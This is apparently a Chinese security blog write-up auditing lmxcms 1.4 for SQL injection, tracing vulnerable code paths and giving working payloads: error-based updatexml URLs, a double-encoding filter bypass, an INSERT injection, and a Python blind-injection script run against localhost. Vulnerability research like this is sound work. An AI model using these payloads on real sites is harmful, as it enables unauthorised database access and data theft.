lmxcms1.4
2022-04-17 14:17:36

环境准备

PHP5.4.45

lmxcms下载_梦想cms(lmxcms)

进来后先安装

该框架漏洞在cnvd可以找到很多

代码审计

sql注入

后台

基本流程:getReply->parent::selectModel->parent::selectDB->sql

c/admin/BookAction.class.php下存在一处sql查询

在这里插入图片描述

这里跟进查询

到db.class.php

在这里插入图片描述

在封装的selectDB方法下

在这里添加一句echo $sql;

在这里插入图片描述

注意闭合符号

在这里插入图片描述

url/admin.php?m=book&a=reply&id=1) or updatexml(1,concat(0x7e,version()),1)%23

在这里插入图片描述

前台

TagsAction.class.php

基本流程:getNameData->parent::oneModel->parent::oneDB->sql

接着是

在这里插入图片描述

这里封装的p函数

可以看到之类有sql的过滤

在这里插入图片描述

同理,在oneDB下加上echo $sql;

在这里插入图片描述

这里可以用单引号来闭合,但是会转义

注意到源码

在这里插入图片描述

那就来二次编码

在这里插入图片描述

可以看到执行成功

1
SELECT * FROM lmx_tags  WHERE name = 'a' or updatexml(0,concat(0x7e,version()),1)#'    limit 1sql语句有误XPATH syntax error: '~5.7.26'

BookAction.class.php

checkData函数

在这里插入图片描述

基本流程:checkData->index::add->parent::addModel->parent::adddDB

老样子,打上输出语句

将需要的参数都添加上

在这里插入图片描述

这里是个insert语句

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

1
setbook=a&name=a&content=b&mail=c&tel=d&time,ischeck)VALUES(1,2,3,4,5,6,1);#=1

这里看下数据库

在这里插入图片描述

我们的数据已经插入

还应该注意一个参数

ischeck=1,可回显,也就是可见

ischeck=0,就是不可见

SerchAction.class.php

基本流程:searchModel->searchCoutn::parent::countModel::parent::countDB->sql

1
?m=search&keywords=a&mid=1&tuijian=id%20or%20(if(ascii(substr(database(),1,1))=0x6c,1,0));%23

在这里插入图片描述

说明第一个字母是l

可以修改下源码的编码方式继续注入

也可以通过Lxxx师傅的脚本

1
2
3
4
5
6
7
8
9
10
11
12
import requests

url = "http://localhost?m=search&keywords=b&mid=1&tuijian=id or (if(ascii(substr(database(),{},1))={},1,0)); %23"
ans = ""

for i in range(1, 7):
for j in range(97, 97+26):
surl = url.format(i, hex(j))
res = requests.get(surl)
if len(res.text) > 6000:
ans += chr(j)
print(ans)

在这里插入图片描述

一篇很久之前的文章,如有错误欢迎指出